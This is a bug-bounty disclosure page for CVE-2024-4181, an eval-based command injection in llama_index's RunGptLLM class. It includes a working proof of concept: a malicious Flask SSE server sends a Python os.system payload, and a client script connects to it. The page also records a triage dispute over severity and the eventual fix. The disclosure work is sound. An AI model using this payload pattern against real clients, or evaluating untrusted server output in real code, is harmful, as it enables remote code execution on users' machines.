

Command injection due to use of eval in RunGptLLM in run-llama/llama_index

✓ Valid

Reported on Feb 12th 2024

Description

The RunGptLLM class - used to connect to LLMs served by the RunGpt framework from JinaAI - is vulnerable to command injection due to its use of eval. It allows a malicious or compromised LLM hosting provider to execute arbitrary commands on the client machine using llama-index.

Proof of Concept

Start a malicious server:

```
from flask import Flask, Response
import time
import json

app = Flask(__name__)

def generate_sse_events():
    """Generate a sequence of SSE events for demonstration."""
    event_id = 1
    while True:
        data = "__import__('os').system('uname -a')"
        yield f"id: {event_id}\ndata: {data}\nevent: time_update\n\n"
        event_id += 1
        time.sleep(1) # Delay to simulate real-time events

@app.route('/chat_stream', methods=['POST'])
def sse_request():
    return Response(generate_sse_events(), content_type='text/event-stream')

if __name__ == '__main__':
    app.run(debug=False, port=5000)
```

Connect to it using the vulnerable class:

```
from llama_index.llms.rungpt import RunGptLLM

class Exploit:
```

```

def __init__(self):
    # Initialize with the mock SSE server URL
    self.run_gpt_llm = RunGptLLM(endpoint="http://localhost:5000")

def exploit(self):
    # This method simulates interacting with the stream_chat to process the mal
    messages = [] # Assuming an empty message list for simplicity
    generator = self.run_gpt_llm.stream_chat(messages)

    try:
        for response in generator:
            print("Received a response: ", response)
    except Exception as e:
        print("Error processing the stream: ", e)

# Simulate executing the exploit
if __name__ == "__main__":
    exploit = Exploit()
    exploit.exploit()

```

You will see that the command got executed on the client:

```

Linux ***** 5.*****-amd64 #1 SMP Debian 5.***** (*****-**-**) x86_64 GNU/Linux
Error processing the stream: 'int' object is not subscriptable

```

Impact

This vulnerability allows a malicious or compromised LLM hosting provider to execute arbitrary commands on a client machine using the RunGptLLM class from llama-index.

The highest risk posed by this vulnerability is during a cloud provider compromise. In general, a LLM hosting provider compromise could only lead to wrong or no responses by apps using this provider until the compromise is noticed and repaired or the provider is switched. However, due to the vulnerability in llama-index, an attacker could in the meantime compromise the machines of all clients connecting to the provider using llama-index, which may be a very large number.

While the appearance of malicious hosting providers that people actually want to use is less probable, it should still be noted that this vulnerability gives a hosting provider power to fully control client machines, which is something that no user of this framework wants, even if he expects no wrongdoing by his provider.

References

- [CWE-94: Improper Control of Generation of Code \('Code Injection'\)](#)

⚙️ We are processing your report and will contact the [run-llama/llama_index](#) team within 24 hours. 2 years ago

🔗 A [GitHub Issue](#) asking the maintainers to create a SECURITY.md exists 2 years ago

✉ We have contacted a member of the [run-llama/llama_index](#) team and are waiting to hear back 2 years ago

 **Dan McInerney** has marked this vulnerability as informative 2 years ago

Correct me if I'm wrong but to simplify this scenario, a user who uses RunGPTLLM to connect to a malicious server can have malicious things done to them.

While eval() statements should generally be avoided, the onus is on the user to not manually connect to malicious servers. Similar to how it's not a vulnerability in Firefox if someone types in a malicious website into their browser.

If the scenario is that an already-running server was hacked, that's not a vulnerability in llama_index similar to how it's not a vulnerability in curl to use curl to download something from a hacked website.

\$ The disclosure bounty has been dropped ✖

\$ The fix bounty has been dropped ✖

★ The researcher's credibility has not been affected



Elias Hohl commented 2 years ago

Researcher

@Dan thank you for the reply, but allow me to politely disagree with this classification. This one is definitely a critical vulnerability.

To start with addressing your example, it IS a vulnerability in Firefox if Firefox allowed a malicious website to execute code on the user's computer. There are actually CVEs assigned for exactly such vulnerabilities in Firefox, see for example: CVE-2023-6856 Firefox has many security controls in place and unless there is a vulnerability in Firefox or an installed extension, or you fall for a social engineering trick, there is as good as nothing a malicious website can do to you.

It is not a vulnerability in curl if curl is used to download something from a hacked website - but then also exactly nothing happens. You have a random file on your PC, so what? This is only dangerous if you have your application execute that file after downloading it with curl. And if you execute a file from the internet without any integrity check (signature), this is a vulnerability (that has nothing to do with curl).

I do not agree that it is the user's responsibility to deal with RCE damages after connecting to a malicious server, because there is no reason for the user to believe that he grants the server RCE on his PC at any point. A security-aware user would rightfully only expect that the maximum damage a malicious LLM provider could do is send wrong chat responses. At no point the user ever agrees that he trusts his provider to execute arbitrary commands on his PC.

A library that a user assumes is nothing else than a wrapper for an API can't just hand over complete control over the user's PC to the remote server and then claim it's the user's fault if something goes wrong... the user never asked for that...



Elias Hohl commented 2 years ago

Researcher

Hello, could you kindly reply to above comments, thank you



Dan McInerney commented 2 years ago

Admin

"or you fall for a social engineering trick, there is as good as nothing a malicious website can do to you."

Malicious sites can run arbitrary JS inside your browser. In this example, it's not Firefox's fault that a site was hacked and you went to it and had Firefox execute malicious JS in your browser. Yes that's not the same as system code execution, but in the report above the bug is in a locally installed library which the average user understands is not contained in a sandbox and connecting to remote servers is a higher risk. While it would be best practices for the library to help protect the user from shooting themselves in the foot, I'm not convinced that it's more severe than a best practices flaw rather than a significant enough vulnerability to warrant a publish CVE.

"A library that a user assumes is nothing else than a wrapper for an API can't just hand over complete control over the user's PC to the remote server and then claim it's the user's fault"

I don't think this is a bad point, so I went and tried to replicate and did a lot of debugging and digging into the llama-index code to figure it out but I don't have the PoC working still. The code that handles this is here: https://github.com/run-llama/llama_index/blob/348cad7430a1e411f33b5880d9aa1df40765961e/llama_index-integrations/llms/llama-index-llms-rungpt/llama_index/llms/rungpt/base.py#L187

The error I'm getting is: "Error processing the stream: dictionary update sequence element #0 has length 1; 2 is required"

From here: https://github.com/run-llama/llama_index/blob/348cad7430a1e411f33b5880d9aa1df40765961e/llama_index-integrations/llms/llama-index-llms-rungpt/llama_index/llms/rungpt/base.py#L216

I'm not convinced this is CVE-worthy yet, but it would help to have a working PoC and I will gladly get a second opinion on this once the PoC is working.

Thanks, Dan



Dan McInerney gave praise 2 years ago

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



Elias Hohl commented 2 years ago

Researcher

@Dan the PoC I submitted is working as is for me. If you use the latest version, you need to replace the import statement with `from llama_index.legacy.llms.rungpt import RunGptLLM`, looks like the LLAMA-Index team moved it to discourage people from using it, might be due to this report. What system are you on? I am on Debian Bullseye, python 3.9.2. Did you change the PoC to get the error "Error processing the stream: dictionary update sequence element #0 has length 1; 2 is required"? Because it is expected to get an error, namely "Error

processing the stream: 'int' object is not subscriptable". Because the eval constructs an invalid object. But that does not matter, because at this point the malicious code has already been executed. Can you check again if the `uname` command output is visible in the console above your error? You can also replace it with another command if that makes it easier for you (e.g. write a file or make a curl request to a callback server).

Regarding your points:

"Malicious sites can run arbitrary JS inside your browser": Yes, but that can only impact the data submitted to the malicious website itself (you can't even steal other sites' cookies). So if you click a malicious link without submitting anything else (phishing), the JS is totally harmless. Would that not be the case - e.g. if the JS is able to DoS the whole browser - it is a vulnerability in Firefox and would receive a CVE.

"but in the report above the bug is in a locally installed library which the average user understands is not contained in a sandbox and connecting to remote servers is a higher risk". Nobody expects code execution risk when using an API wrapper.

I have founded my own startup recently which is using AI libraries (not this one, but others) as well as lots of API wrappers and I can just say, if you discover such issue in one of the libraries I am using, I do want to get notified via CVE. To be honest, if you discover such issue in any of the libraries / wrappers I am using, you can call me in the middle of the night and I will get up and fix it right now. I don't want to expose my proprietary data and algorithms to random API servers for no reason.



Elias Hohl commented 2 years ago

Researcher

Additional response due to the new reply which wasn't there yet while I was typing the above.

Question: As you still seem to believe that in this case it is the user's responsibility to not connect to a malicious / hacked server and "shoot himself in the foot", does that mean for you when as I developer I connect to a server with an API wrapper, I should ALWAYS expect I might have granted this server now RCE over my computer? Should I treat using an API wrapper as if I had given the API server my SSH credentials?

What are the legal implications of this? According to the GDPR, I need to request consent from the user if I grant a 3rd party access to their PII. According to your arguments above, I need to be aware that an installed API wrapper package has code execution permission on my server, and might execute arbitrary code locally as directed by the API server, granting the API server full control over my machine. Does that mean whenever I use an API server via wrapper, I need to request consent from the user to share ALL their data with all API servers I use?

What is your proposed solution from a user / developer perspective to not shoot himself in the foot? Do I need to run every API wrapper library in a separate docker container to be sure the server does not get control over my application and data by code execution permissions that might exist?

⚠ We have sent a warning to the **run-llama/llama_index** team to inform them that this report will be published in 48 hours 2 years ago

A **run-llama/llama_index** maintainer commented 2 years ago

Maintainer

This has since been fixed https://github.com/run-llama/llama_index/pull/11347



A [run-llama/llama_index](#) maintainer has acknowledged this report 2 years ago



Elias Hohl commented 2 years ago

Researcher

Hello LLaMa-Index maintainer, thank you for replying and acknowledging this report, and fixing the vulnerability. Could you kindly also mark this as "valid" please.

A [run-llama/llama_index](#) maintainer commented 2 years ago

Maintainer

I actually don't see any option for changing the status



Elias Hohl commented 2 years ago

Researcher

Ok interesting, waiting for @Dan to change it then.



Elias Hohl commented 2 years ago

Researcher

Kindly validate as maintainer showed attempt to do so, still have not received anything for my work on this repo



Elias Hohl commented 2 years ago

Researcher

Any update on this



A huntr admin reset this report to a pending state. 2 years ago



Dan McInerney modified the Severity from Critical (9) to Critical (9.8) 2 years ago



Dan McInerney modified the Severity from Critical (9.8) to High (8.8) 2 years ago



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Dan McInerney validated this vulnerability 2 years ago

Setting attack complexity to Low, but User Interaction to Required since the user would need to connect to a malicious server.



ehtec has been awarded the disclosure bounty ✓



The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔑 CVE-2024-4181 assigned to this report. 2 years ago



✓ Dan McInerney marked this as fixed in 0.10.13 with commit d73715 2 years ago

\$ Simon Suo has been awarded the fix bounty ✓



📅 Dan McInerney set the scheduled publication date to May 1st 2024 UTC 2 years ago



Elias Hohl commented 2 years ago

Researcher

That CVSS scoring makes sense to me (apart from the Scope: Unchanged but thats a more general discussion), User Interaction Required is also a way to see it. Thanks for validating!

⚠ We have sent a warning to the run-llama/llama_index team to inform them that this report will be published in 48 hours 2 years ago

A run-llama/llama_index maintainer commented 2 years ago

Maintainer

I would strongly prefer not opening a CVE for this if possible.



This vulnerability has now been published 2 years ago



CVE-2024-4181 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-4181

Published

Vulnerability Type

CWE-94: Code Injection

Severity

High (8.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

0.9.47

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



Elias Hohl

@ehtec

MIDDLEWEIGHT



Fixed by



Simon Suo

@disiok

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)